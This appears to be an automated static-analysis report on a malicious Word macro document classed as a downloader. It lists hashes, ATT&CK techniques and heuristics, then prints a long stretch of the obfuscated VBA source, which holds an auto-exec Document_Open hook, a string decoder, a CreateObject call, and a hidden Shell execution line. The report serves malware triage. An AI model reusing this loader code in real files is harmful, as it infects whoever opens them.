Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 113aed7ff9cb4912…

MALICIOUS

Office (OLE)

163.5 KB Created: 2018-05-16 08:26:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 7716d54db82808c48a2a5b21abe2b604 SHA-1: a3a10487de31322ab5b456a099bc6c9dd376b556 SHA-256: 113aed7ff9cb4912dc8b8e029f98ebf8822869220b5af578b7570433858aeceb
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The file contains obfuscated VBA macros that are designed to execute automatically. Heuristics indicate that these macros download and save a file to disk, and then execute it. The specific URL referenced, http://schemas.openxmlformats.org/drawingml/2006/main, is benign, suggesting the actual payload URL is dynamically generated or obfuscated within the script.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (tYCMtIv), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            wVahfcO = IqFPz.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Shell (tYCMtIv), 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set IqFPz = CreateObject(eJapff("MeiucWr&o-sooLfQt).aX M LGHOTETpPA"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39328 bytes
SHA-256: 81b93bb1e9fbcba45f0865808f548c58ba2445c0ab42ec2f1f43b1368948dba3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
378 of 642 identifiers look randomly generated (e.g. 'KiFjQaahxcparsDtdignDg') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub nbgJIt(YAJxXMT As Double, hAiOgRF As String, WwUYTD As Boolean, lycmkHW As Double, KKtcwkn As String)
    lDtVWRSX = RTrim("T@L_CEBTTB#I")
    While WNfMdy < 257
        qkAFKmg = LTrim("%dB@L@P%TP@wNbG")
        syGkk = StrReverse("hfakT!K?GeHL]mxYN$")
        WNfMdy = WNfMdy + 2
    Wend

    DMgKue = 1750 + 586 + 807
    nfMxq = Right("q)oPPOTMZ]$TYwn&", 5)
    OPGnbbk = StrReverse("DLiH@vZp!p")
    wYtNP = LTrim("doT@GKcOdePvpTdaY.")
    wYtNP = RTrim("xc..C)luzHaPo")
    For GWTyjN = 0 To 112
        lDtVWRSX = 1799 - 340 - 1875
        syGkk = UCase("PFuyyUpWtKk")
        VBZhBMx = Left(")E(htX-o I?hdkh", 3)
        tiSBNEG = Space(9)
        wYtNP = LTrim("Nb.&JKRoRUn ")
        VBZhBMx = 1058 - 608 - 467
        VBZhBMx = StrReverse("^zS]qsRKjb-T]")
        wYtNP = Right("ATH*UG?!!?MUg&^s*y", 4)
        VdmtjYDy = 1505 - 1854 - 1409
        mJvENUU = Right("R$! wCLT@LLcRdInb", 2)
    Next GWTyjN

    DMgKue = StrReverse("@xiyrNK#l$miy")
    DMgKue = Space(13)
    For YNRKgg = 0 To 35
        DMgKue = LTrim("wkd&fX[jl))@HL?Wv")
        nfMxq = 255 - 1865 - 1546
        VdmtjYDy = 1898 + 940 + 1646
        VdmtjYDy = Left("DwonIjUQ]lovaJBJLfi", 4)
        OPGnbbk = RTrim("cVWfpyClc)[#co")
        VBZhBMx = 858 + 1226 + 577
        DMgKue = 1198 - 1962 - 1932
        vNoPKE = "NY& ]A#mCD" + "g&T)rUJ?ZsnHp" + "yJR_essV upa"
        wYtNP = Right("fHdbWB.no[e", 4)
    Next YNRKgg

    wYtNP = "Iwhp?juN$NX)CE_R" + "Pg_IJfQlCBVQOKI" + "ry]L.P$uNS."
    qkAFKmg = 1244 + 1770 + 321
    mJvENUU = Left("UqdpTp?gOyaKdywFY?l", 3)
    For yVcQSo = 0 To 298
        vNoPKE = 340 + 854 + 1561
        VdmtjYDy = LTrim(")U_GulSYLg!TNC*@]i!$")
        mJvENUU = UCase("aPix]xgRjd")
        syGkk = 984 + 1861 + 364
    Next yVcQSo

    For IUslZU = 0 To 100
        mJvENUU = LTrim("nDR^fkLv$Ya")
        wYtNP = Space(4)
        wYtNP = LTrim("?IERN.wTDr?FsWx")
    Next IUslZU

    vNoPKE = "L?FVm( jH&Fp_F" + "&_x&hQIz$AnDS" + "yWjRU_moJZ"
    lDtVWRSX = UCase("xJMNjCun$QQk%VKw")
    tiSBNEG = Space(8)
    vNoPKE = 794 - 866 - 1760
    VdmtjYDy = Left("X(UG([yRmtbFDme lLY", 3)
    VdmtjYDy = RTrim("%cXIKKN@$]ZV")
    qkAFKmg = UCase("cRo?(lkAwhFXlhS?fGgY")
    VdmtjYDy = 368 - 421 - 1541
    syGkk = Left("T(T&]z$kx)ZOQB]", 3)
    DMgKue = Space(3)
    OPGnbbk = Right("UAF@aDkzaOAyr", 4)
    qkAFKmg = 153 - 1332 - 1066
    wYtNP = RTrim("mDors(H$IUslnDC")
    VBZhBMx = UCase("cUk$OUCHZjXyKiB")
    vNoPKE = StrReverse("D)[Ign)%T)niV[(UeiFE")
    mJvENUU = LTrim("gLbMc_Jaw bHg$.UEAi")
    syGkk = Space(9)
    While BGoyBu < 78
        nfMxq = UCase("gg!wP FjTW^ZAAfp$")
        VdmtjYDy = "fme*%MazPj" + "sqq!LBXetwhbA" + "B *iKOU[*K&ALf"
        syGkk = Right("SzuKD#BEcbIBX", 3)
        qkAFKmg = 814 - 519 - 985
        mJvENUU = LTrim("xIjxePTSXHrowR%wLyv.")
        BGoyBu = BGoyBu + 3
    Wend

    mJvENUU = 1227 + 1627 + 1122
    VBZhBMx = 323 + 1423 + 1054
    syGkk = 513 + 1015 + 527
    wYtNP = Right("s)P*$e.hNHLqNmdRlW", 4)
End Sub

Private Sub JBNaF(tYCMtIv As String, wjafQFY As String, FuCEez As String, NfHVxdQ As String, sjNIqs As String, KasPCzO As String, QZgdnqZ As String)
    While NDFNvo < 350
        nfMxq = Left("Ye_YWLglOi(k^pZ[Xh", 2)
        lDtVWRSX = RTrim(" DtiAvH *OYsqPf")
        DMgKue = StrReverse("jSNJ?KDyPz")
        DMgKue = RTrim("hf#k^WU#QRm#xUTK")
        mJvENUU = UCase("nJ]vJmU$lqhcFA&d")
        VBZhBMx = StrReverse("wPaX#RJi diP(wwd^")
        NDFNvo = NDFNvo + 2
    Wend
    DMgKue = "ryPGilJdF[JP#hCwj" + "q!B_d@GEArwQ]sy" + "nr@H[e&(XNtzT"
    mJvENUU = 750 - 774 - 780
    lDtVWRSX = 809 - 407 - 152
    lDtVWRSX = Space(13)
    While TIibUZ < 124
        OPGnbbk = Left("s (Ql?[Q@nt.EHT", 2)
        nfMxq = Right("BJxIMYvVXtqzct-KrObs", 4)
        VdmtjYDy = Left("uRKh!_ccpleQu", 4)
        wYtNP = "Vh[fX!RoGnZJZfMKd[i" + "i*^yFuJp[.QAPrJ" + "KdtoxfC_uE-X"
        syGkk = Space(7)
        tiSBNEG = Left("qX(RmoplpId", 5)
        vNoPKE = "G%Oaq n(gAO$V[foK" + "a%.hk!z-Vq" + "rs?g!Kx##Cr[es I)u"
        VBZhBMx = RTrim(")g!E@bxEe_n.(d#BSfM ")
        TIibUZ = TIibUZ + 2
    Wend
    Shell (tYCMtIv), 0
    lDtVWRSX = Space(8)
    syGkk = 396 + 1775 + 1877
    qkAFKmg = 561 + 724 + 1674
    syGkk = "Xculk)OKNK_eXu$pPw)w" + "MktACDrTBGC]Wu_& " + "fCfm&.WVtsH)ZV"
    VdmtjYDy = Space(7)
    tiSBNEG = LTrim("EaII%MssJAAJ")
    tiSBNEG = 1513 - 644 - 1828
End Sub

Private Sub sfgqry(gpkGHD As Double, amjGcCP As Boolean, idXbqC As String, aHpELVa As String, LeqZRn As Integer)
    nfMxq = 803 + 1280 + 1038
    For CEFCus = 0 To 364
        nfMxq = 1002 + 1224 + 850
        mJvENUU = 1928 - 1551 - 1524
        lDtVWRSX = StrReverse("PkzPXEz_&V#ody.Ee")
        nfMxq = "[WSD-r(i[mKWEiV" + "s[EIo!VJCZ-(km" + "IR*O).ElGFhjGw_h"
        syGkk = Left("VOU(D!IelNcab-y$", 2)
    Next CEFCus

    VdmtjYDy = Left("Q?HPLd!E v]*- IlKB", 4)
    OPGnbbk = RTrim("tCby$Nlw[E*Ko")
    mJvENUU = UCase("uGRQkSjzq@Ol X")
    VBZhBMx = 954 + 1876 + 1352
    syGkk = RTrim("DsVFg]tgGa")
    DMgKue = Left("H$^BKhxyaC", 3)
    For RTzohI = 0 To 249
        tiSBNEG = Space(11)
        DMgKue = Space(5)
        tiSBNEG = 1771 - 454 - 1383
        wYtNP = LTrim("!&e_Mw^p OM")
    Next RTzohI

    nfMxq = StrReverse("lEib%dZA(Ly.h ")
    vNoPKE = Space(11)
    vNoPKE = StrReverse(".Ynm@FM$rDABYj")
    VdmtjYDy = "$ZPqdRWjc)&]x" + "I&ew-cTDPqlZCN_xLbt" + "yrg ]q!L&jC]wU*dOF"
    VBZhBMx = 630 + 1385 + 1405
    mJvENUU = StrReverse("SVeXbq%GIlUiaMk*]^.h")
    tiSBNEG = 1243 + 1232 + 454
    DMgKue = 1810 + 570 + 512
    tiSBNEG = "VPwBUgp w?t#sET" + "%pKiG!(ln*ubs.Tn" + "vOxFLkKVQFujrGhO^"
    wYtNP = Right("s._sTeg UW", 3)
    qkAFKmg = RTrim("lBfViQsyHqr^#qNoL ")
    While IFocPD < 118
        VBZhBMx = StrReverse("f^yQi xSX!]j _xj?p")
        syGkk = UCase("ZH(qpPkLgRt")
        VdmtjYDy = Left("#^#?aCsPIhDH", 3)
        IFocPD = IFocPD + 1
    Wend

    lDtVWRSX = 612 - 1203 - 1966
    For TTJLNk = 0 To 112
        mJvENUU = 1523 - 549 - 1224
        tiSBNEG = StrReverse(" @-^PIxWLHxp(")
    Next TTJLNk

    DMgKue = 1362 - 984 - 1157
    VdmtjYDy = Space(8)
    For AKvCMT = 0 To 65
        lDtVWRSX = 1100 + 1751 + 236
        syGkk = UCase("#!kzlDt*RWd")
        DMgKue = Right("Nv(aklDY]qvc&gSo%o]", 3)
        syGkk = Space(3)
        tiSBNEG = 1374 + 692 + 268
    Next AKvCMT

    OPGnbbk = LTrim("[ qjUKRA omGuW!ui")
End Sub

Private Function DldYTV(NNHcAe As String) As String
    vNoPKE = "eDKs)N#ak[*GNI^Tiz" + "rG?ydiK]-mR.TT@l-sv" + "RE[#FLORl*T"
    wYtNP = StrReverse("TPn[tL*VcZ^ y")
    vNoPKE = StrReverse("%BD*FeZxeuJte")
    tiSBNEG = LTrim("%&dAxDUmoRCLOXG-QDJp")
    nfMxq = Right("(%Tjk(S&.wwasTo^", 4)
    nfMxq = 1325 + 440 + 384
    While QSoPLd < 345
        qkAFKmg = Space(15)
        wYtNP = "hgu[(sX(YG dL#?Bzj!(" + "aXpJ]_OpH[&Kt.?#" + "Rbqi-JaTpfPj%zlE"
        nfMxq = "!M#]mnAGPi?p" + "exxVoDDCMPNb?" + "ZadcM@S)?e$"
        QSoPLd = QSoPLd + 1
    Wend

    qkAFKmg = 472 + 1652 + 1236
    DMgKue = Left("wfuAw)HMwxqx!EW&", 4)
    qkAFKmg = Space(20)
    nfMxq = 615 - 1697 - 1337
    mJvENUU = 261 + 1087 + 942
    vNoPKE = UCase("(pz#PPpFc.")
    lDtVWRSX = Space(8)
    mJvENUU = Right("tCq(@I(FFpbYB", 4)
    OPGnbbk = Right("nWGhRoO kBgC", 5)
    lDtVWRSX = RTrim("INhMdfX&G_H qg")
    DMgKue = LTrim("PFsTjvbSv)")
    For HBDekT = 0 To 82
        nfMxq = UCase("(A(x]ENUI%sb?$!bXKrf")
        wYtNP = 1808 + 1199 + 1164
        syGkk = 817 + 146 + 851
        VBZhBMx = StrReverse("U%ygcMRD$w?rs)Cl")
        mJvENUU = "XELE&^#hfuQz)k%" + "PqN^fOdvYRh" + "BSi ur!)ZADwH"
        nfMxq = Right("U^t][L.g?[Std]GeS&", 3)
        mJvENUU = StrReverse("#zDDhabM?lqvvZ(dBB")
        vNoPKE = Space(16)
    Next HBDekT

    While OeWVru < 101
        VdmtjYDy = 1610 + 589 + 1853
        mJvENUU = 232 - 1313 - 1253
        lDtVWRSX = 1365 + 1478 + 559
        VBZhBMx = Left("u%jq*&MPSc.", 2)
        lDtVWRSX = Left("[lO(KGndMN%]", 4)
        VBZhBMx = 1487 + 135 + 1919
        syGkk = Left("cj@lff!&l-_isnjhyS#q", 2)
        DMgKue = 1735 + 664 + 1444
        vNoPKE = Left("DxcpoejFrmxh[A@zeuu.", 4)
        qkAFKmg = "g[pZD#l!(HLeD!a.q.jl" + "?K&WffHH[ )" + "W)cTgFy.ADP"
        OeWVru = OeWVru + 3
    Wend

    wYtNP = Left("oQeNl$(*&X^L", 3)
    VdmtjYDy = "f?GhopIEbslUz[(T)" + "-enjCXa@)VRNQm_" + "vCoFk_MTXyOib^oDC"
    DldYTV = "qiVFyIGGDekNvouOYDoMMO"
End Function

Private Sub ceESrL(abVZtR As String, XyqzhWm As Double)
    While IWNVxo < 110
        DMgKue = Left("e!s^Qy.PJIuPy#ir[Gu", 4)
        DMgKue = StrReverse("qLkjBjtaPB*-")
        mJvENUU = 1042 + 325 + 1967
        IWNVxo = IWNVxo + 1
    Wend

    lDtVWRSX = 1189 - 302 - 1925
    qkAFKmg = Space(15)
    syGkk = Right("eGjmWgNyQz", 3)
    DMgKue = Left("MTRzWW$??TYa", 4)
    tiSBNEG = Left("mqV*Um& *vCXQLvE!B", 4)
    lDtVWRSX = Space(20)
    lDtVWRSX = Left("! M!fex]GzA", 4)
    For AsuInw = 0 To 222
        lDtVWRSX = RTrim("N%LGIHYpitDeSA")
        wYtNP = LTrim("Bz[if[pmmni)jq")
        vNoPKE = Left("?ipH@iqium_binbFkH]J", 4)
    Next AsuInw

    wYtNP = Right("ESgyznG_kJmJ", 4)
    vNoPKE = UCase("MeuitlPdd*f^)S")
    vNoPKE = 1773 - 1218 - 745
    OPGnbbk = StrReverse("$(aDxWVO*fIY)F")
    DMgKue = "outwrpt p-O??#]$Mc" + "n?fArvBkkK?#z" + "sKzfktowaMBsdenThWY"
    While RqNGbp < 42
        OPGnbbk = Space(10)
        lDtVWRSX = Right("AK)xqdnHgjfX-[]&FM$", 3)
        lDtVWRSX = LTrim("d^cIkWc!BOXO")
        VdmtjYDy = Space(6)
        RqNGbp = RqNGbp + 3
    Wend

    nfMxq = UCase("gq-eKXBaeOUTG_Ph!")
    qkAFKmg = LTrim("e^JVFA#w[k](NQEO^V")
    lDtVWRSX = StrReverse("))gceqipb[B")
    qkAFKmg = Left("jeikMNKNOvBGFG", 3)
    nfMxq = 1787 - 632 - 424
    mJvENUU = Right("[A!EBoqhV]vq", 4)
    qkAFKmg = "Es)qFEJFRH@TT" + "akVLhq]&mJ(MIZ" + "detC$CuZIpH"
    DMgKue = UCase("YUoa]Cu(^SFWg-ntr")
    mJvENUU = UCase("&v*CGSpskjgNj_F]mNn")
    DMgKue = Space(10)
    DMgKue = 950 + 196 + 1678
    wYtNP = "aq[qu$rMT]" + "PFHN (P*pz[S*@zml" + "afQIsT^w@G"
    VBZhBMx = LTrim("odSBD[xUIrLD!")
    VdmtjYDy = RTrim("Q^N*hymO%.")
    DMgKue = Left("BZ&[A]mMFuwpK!lCz^s", 2)
    vNoPKE = Left("sFtKV]_^gn^", 3)
    lDtVWRSX = 1318 + 190 + 1774
    tiSBNEG = LTrim("ZWEL!LRa*FsjKJvtNp")
    lDtVWRSX = Space(6)
    mJvENUU = Space(12)
    VBZhBMx = LTrim("Lf[rUMzdvtDl?C]!")
    For ezanGb = 0 To 43
        qkAFKmg = Right("TL?YKXwziumTY dh", 3)
        VBZhBMx = "xsb.umYz&aG sX?^Ko]" + "^-W^x#IiqYwaevuOWv" + "FxPJ!vMJ#fu(!.L"
        nfMxq = StrReverse("QX$oPTL*N&X")
        nfMxq = 1335 - 310 - 1816
        VBZhBMx = 243 + 581 + 824
        tiSBNEG = 1066 - 108 - 475
        qkAFKmg = 1221 - 780 - 116
        VBZhBMx = Space(17)
    Next ezanGb

End Sub

Private Sub Npbvku(OmDVIo As String, vLHPPsc As String, OVoPww As Double)
    tiSBNEG = UCase("Jla)q)fdBage[agn?@")
    qkAFKmg = 760 + 880 + 1340
    While fuNscm < 296
        VdmtjYDy = Right("e)[QeceG)MiU*EfH", 2)
        tiSBNEG = Left("]sVWiKmM-b^^V a-*AO!", 5)
        VBZhBMx = 1046 + 718 + 1742
        tiSBNEG = RTrim("LXGkd?VAnDaNPfV]]F")
        DMgKue = Space(4)
        syGkk = UCase("@SYx?swIzzBUq.EHGehW")
        OPGnbbk = UCase("kL plh@rVdG(lT")
        qkAFKmg = StrReverse("zCXTbwlln.")
        DMgKue = StrReverse("ZVPLct]*W(Rc&")
        fuNscm = fuNscm + 3
    Wend

    OPGnbbk = UCase(".an.]aIL(ggc")
    OPGnbbk = Right("lrUbSRzJXlR?q", 5)
    While IMqKgV < 358
        syGkk = 896 - 1357 - 1840
        wYtNP = StrReverse("x[OU%vnQF*nn]igRzJ")
        wYtNP = UCase("nMtPMorEdt-@")
        wYtNP = UCase("$nnPq!%$SFkIVQIBc$")
        VdmtjYDy = StrReverse("Sk)HDMRI)WMKlu")
        mJvENUU = Space(3)
        DMgKue = LTrim("d-gaKuXxtPMk")
        syGkk = StrReverse("OQxstTspE @$EwUOaZxI")
        IMqKgV = IMqKgV + 2
    Wend

    While SDZasM < 311
        lDtVWRSX = "z.lusnn@yZ#O&%fgLP" + "Tmn^UqwzOZSb-" + "wFJh_gXh%d@uETSKNd"
        mJvENUU = UCase("?AcQVm]*JX_ey^xlU")
        SDZasM = SDZasM + 3
    Wend

    For cWByBA = 0 To 194
        syGkk = StrReverse("Fz(oiMSx_$q#FB")
        wYtNP = Left("zg$DoHArQHjXNGR", 2)
        syGkk = 373 - 1118 - 1337
        OPGnbbk = Right("t!M&@xh!nrs]*)O].%C", 4)
    Next cWByBA

    mJvENUU = UCase("*.n_spt q %&$yFvVTd")
    nfMxq = StrReverse("PbB()tMj?TtqN?ca")
    vNoPKE = Left("pLOY(o@mxn&R", 3)
    nfMxq = UCase("MPhnqFjAoX#KGxe")
    DMgKue = 440 + 137 + 1949
    DMgKue = "J$paOLUAZeY?NJ*" + "Z^nGjkc#H)swC!z^*" + "oRGL()NYEgUjAco"
    wYtNP = UCase("pfzW!CsVHkh")
    syGkk = "!tJG-rIMlosL" + "fAW%?)kVB*nzq#" + "hgA]S.HGWbJpin"
    For CUnNLS = 0 To 31
        tiSBNEG = LTrim("lv%J*v$*oF")
        lDtVWRSX = 1637 + 613 + 1192
        syGkk = ")Gr?drnIRM@w" + "-P[lncKfCWgeWP@" + "rvZHv fZNSIJ[qx!"
        qkAFKmg = LTrim("U-h.WGiaoh)fC?UAH$[")
        vNoPKE = UCase("UrmokJ]j-q_ePX")
    Next CUnNLS

    DMgKue = UCase("tKr%-WsN K)qPzipC")
    vNoPKE = "K!*#obVxV)WBIq U" + " B.GHxksKiYS)I(V" + "a[!OBGLyrRWF-@C"
    DMgKue = LTrim("_PC_@USI aZl")
    mJvENUU = LTrim("qjVSTogS-DbMDbCX")
    DMgKue = UCase("YlZBYQzyOw^OYrZt[?O&")
    VdmtjYDy = 1364 + 854 + 880
    vNoPKE = Space(5)
    lDtVWRSX = LTrim("qanFECZ)BSAPT(lq]HH")
    DMgKue = Space(11)
    tiSBNEG = RTrim("&.?kaMnUJz?GzZ)TvNxN")
    mJvENUU = 915 - 800 - 432
    tiSBNEG = UCase("!HMNiuP[ph^@*hrhzrH")
    OPGnbbk = LTrim("SkJ.-fJk-)")
    VBZhBMx = Left("pYjM*e#oKCiqxpB%J!y", 3)
    VdmtjYDy = 1656 - 1548 - 929
    DMgKue = Right("DjQLMbFpYtn)]eBgaGU", 3)
    qkAFKmg = 1858 - 1535 - 499
    vNoPKE = LTrim(" !hd&r%hJYFf(v-PRBIc")
    syGkk = 1051 + 1094 + 444
    While EmOKjM < 10
        syGkk = "^EXPlBjqK#YSyPvzi" + "GDI@JxVYINHyi MDWYr " + "ZuNWQ_e%fU!#z^mqQEt"
        VBZhBMx = "Z*va-v[%XqvBBm" + "L_IiZKR@% F[i?e[egkj" + "glk??ujqFko"
        VdmtjYDy = UCase("*C[i*&XBQW^Q")
        lDtVWRSX = LTrim("AlDLf$K-NAW_O?PCR$#[")
        vNoPKE = 657 - 866 - 1784
        tiSBNEG = StrReverse("Hunx#Hnr^v a")
        mJvENUU = LTrim("#gLbahdE_BO@z)YV")
        EmOKjM = EmOKjM + 3
    Wend

    syGkk = 1560 + 982 + 395
End Sub

Private Sub crvPHr(OsTuVQl As String)
    While bGztUE < 185
        syGkk = StrReverse("J ^]#DewZHwZu@^VZ_Tj")
        syGkk = StrReverse("V]- VImbApC[)LLs?")
        wYtNP = 504 - 781 - 432
        bGztUE = bGztUE + 2
    Wend

    OPGnbbk = Space(3)
    OPGnbbk = 594 + 1325 + 1487
    While ENoXTl < 139
        mJvENUU = Right("rPHdf(fXuXoJ?ejSVxY", 5)
        vNoPKE = "cxgsgqcw$MSu!X?!" + "yITRmBSGqY.oRV#.l*Xm" + "*BIiwv!)X!.?"
        VdmtjYDy = 1212 - 466 - 539
        VdmtjYDy = 1329 - 1066 - 1624
        mJvENUU = StrReverse("G.HSxFpiE(LehuXG")
        VBZhBMx = Space(17)
        vNoPKE = StrReverse("_EQ%do!BCEp")
        nfMxq = StrReverse("G qv)vW.UGiA?&")
        DMgKue = Right("PcwOs-Mg]aP.#.d", 3)
        ENoXTl = ENoXTl + 1
    Wend

    For kDTRrK = 0 To 369
        lDtVWRSX = Left("YOZDYUG$s#lz(U@KzC", 3)
        nfMxq = "Glz#?%-G(@oI!ms?cxuh" + "CO$IN$ NPHuXa" + "?HpTB&&tf.RpN"
        tiSBNEG = LTrim("QlJC&vuMcGltr")
        DMgKue = Left("kF*^shau^O&newiPb", 2)
        wYtNP = UCase("xta]OtsUpjG")
        wYtNP = "zv$lGYWfzrS[" + "QR%s.Y$Mhq(dayKjdp?G" + "nIGhG@TqG(BEwJN.$#"
        wYtNP = 546 - 1371 - 1855
        syGkk = Right("Tb&yZyL niwm@[", 2)
        VdmtjYDy = LTrim("ND-JdP[vhr")
        VBZhBMx = "dT[UK_o(w.Sdo l" + "a[(ittJJ _ueN&Wfq" + "G)M!)MlANs"
    Next kDTRrK

    DMgKue = RTrim("dZoAVCX^Oj$n")
    vNoPKE = Right("SG]fWL%TeU@Q", 3)
    DMgKue = Right("%hs#V&H!Ns", 2)
    VdmtjYDy = 235 + 684 + 544
    While ZmesiQ < 350
        vNoPKE = 410 - 1072 - 944
        qkAFKmg = RTrim("z%dXg.Iw)^LWx]nJRoV")
        tiSBNEG = "nG#o$vOzRjXGerIPuD%" + "Uq *%-  Xvk]a" + "^HUKJeNumEk&v.N($*$!"
        mJvENUU = Left("g$n[CoG?&[G^", 4)
        qkAFKmg = Left("W] cG[PVkirWK", 5)
        ZmesiQ = ZmesiQ + 1
    Wend

    lDtVWRSX = RTrim("CYoPDE^H-WJI]wJK")
    DMgKue = Left("d%f(T?^NzYNvw", 5)
    VdmtjYDy = Right("cOzYaJfgnv([", 4)
    lDtVWRSX = Left("pvXiBiObIKp#?Aw", 4)
    syGkk = "Xwos*cBHE@[NMwjZ" + "VWD)Pz(Efr$" + "K*L!?*VR-L"
    DMgKue = UCase("RQd-zc_OcUe")
    lDtVWRSX = 266 - 1038 - 1681
    vNoPKE = StrReverse("^DPvuApFOjshUM")
    For FuKXnL = 0 To 104
        mJvENUU = UCase("]euC]@p]XMI[[qb")
        mJvENUU = UCase("iTYrVm?P%MhFUvJINu?")
        tiSBNEG = UCase("@z %-sOd)tAR.irc")
        OPGnbbk = LTrim("^rWNQSOfVV")
        wYtNP = LTrim("uAIqPl)p&NholVIEar%S")
    Next FuKXnL

    For oHOXfD = 0 To 244
        mJvENUU = Right("sAXV PlQr@F", 3)
        DMgKue = 578 - 558 - 222
        tiSBNEG = "vlkf-EGRxzy!L&Z" + "e[OOk]noH&jxANEq" + "N(RFeQVMfT"
        tiSBNEG = Space(20)
    Next oHOXfD

    OPGnbbk = RTrim("aoB?])$x&ktvT")
    tiSBNEG = LTrim("FYB_H#Vq-bbg")
    nfMxq = 429 - 229 - 997
    VBZhBMx = Space(2)
    OPGnbbk = Right("hnCqu?E)bXkJy", 2)
    OPGnbbk = Space(14)
    VdmtjYDy = Left("b[ZIomVJCU", 3)
    tiSBNEG = RTrim("PtZqnVGkLO")
    mJvENUU = UCase("oxD[C#hzQp^Lmr*N")
    vNoPKE = StrReverse("rbh[X&LLp)dKQ")
    qkAFKmg = "ppEu?JgOzvriI)H" + "&L ?UTZhR#Ei%UAc." + "IwoUdc)Xa_^Ae"
    mJvENUU = 124 - 1153 - 257
    qkAFKmg = 1077 + 1854 + 824
    nfMxq = Right("^VmMk)uoAgSJ@VQ!ui%j", 4)
End Sub

Public Function eJapff(iCWPv As String) As String
While ADTfRI < 99
    VdmtjYDy = Left("yj[ KjVXa#pdK-?iHB", 4)
    qkAFKmg = Left("cWQtomkEXHlf", 2)
    mJvENUU = 1559 + 1125 + 1202
    ADTfRI = ADTfRI + 1
Wend
VdmtjYDy = UCase("xQFIwy@%B&")
wYtNP = UCase("VzNNF%xX*WGB$")
mJvENUU = StrReverse("gCXHMbUOzEO[u%")
For YPEtDZ = 0 To 331
    lDtVWRSX = 1246 + 1998 + 1813
    lDtVWRSX = RTrim("N[eZWjOdaImu$b&")
    VBZhBMx = LTrim("tR@az]BDZw")
Next YPEtDZ
    Dim snjvxUx() As Byte
    lDtVWRSX = 185 + 1642 + 1001
    VBZhBMx = 1618 - 1275 - 436
    Dim ouLYgup(614) As Byte
    OhUSYR = 0
    While haynyF < 104
        VBZhBMx = LTrim("sRFIgCyC.ex__rcT*rrf")
        OPGnbbk = Right("f%FSG@__J[e(MqJL", 2)
        haynyF = haynyF + 3
    Wend
    syGkk = "vt!FROaARlltSh[NJP" + "]fFUJ^*Yn-tgueDaBdk" + "uxOQM^AEy$Zgj%["
    VBZhBMx = RTrim("rUstY#Vo?_%")
    mJvENUU = Space(4)
    While KzXWWn < 49
        OPGnbbk = LTrim("UraCqJrYLS?KOa")
        tiSBNEG = RTrim("wZUfu&-DZ*")
        tiSBNEG = Left("oNR#bkPCG_Iw@TSu)#", 3)
        syGkk = 881 - 1523 - 771
        qkAFKmg = 241 + 1593 + 1566
        wYtNP = LTrim("Ow[@g QPyA")
        KzXWWn = KzXWWn + 2
    Wend
    snjvxUx = StrConv(iCWPv, vbFromUnicode)
    For uRSXLe = 0 To 400
        OPGnbbk = Right("nXgsZ%#iWrIe]m-_y", 3)
        wYtNP = UCase("g%^HugiaGoS")
        wYtNP = UCase("eF*LgC]wgitF[f_R-pSk")
    Next uRSXLe
    lDtVWRSX = StrReverse("?BPGpYoLcAQV")
    OPGnbbk = StrReverse("&Aynd(ScOsP?T")
    While yNnQCn < 84
        vNoPKE = StrReverse("j^#N&PX%hq]")
        mJvENUU = RTrim("?-AGSP#)Xum")
        vNoPKE = 1166 - 1364 - 1454
        tiSBNEG = LTrim("ww*nxkoPt$_g XCvH.%p")
        vNoPKE = Right("r(HvZEuiwwbl&-TzE)Qa", 4)
        tiSBNEG = StrReverse("mMrQVcB fa@ysy)XTd")
        OPGnbbk = LTrim("[HyeY#F.IgAjxMVrw")
        yNnQCn = yNnQCn + 1
    Wend
    mJvENUU = UCase("?oTpsRhvF!#.")
    For IPFck = 0 To UBound(snjvxUx) - 1
    While uzWCmf < 209
        vNoPKE = StrReverse("IAQ BIutn%!!d[p$QM")
        VdmtjYDy = Right("yjIplIMLobm-]ku@#pq@", 2)
        OPGnbbk = RTrim("GQW#bW%]_m#oY^?*t")
        nfMxq = Left("pMNYpciydfAt[Y%#oM W", 2)
        tiSBNEG = Space(20)
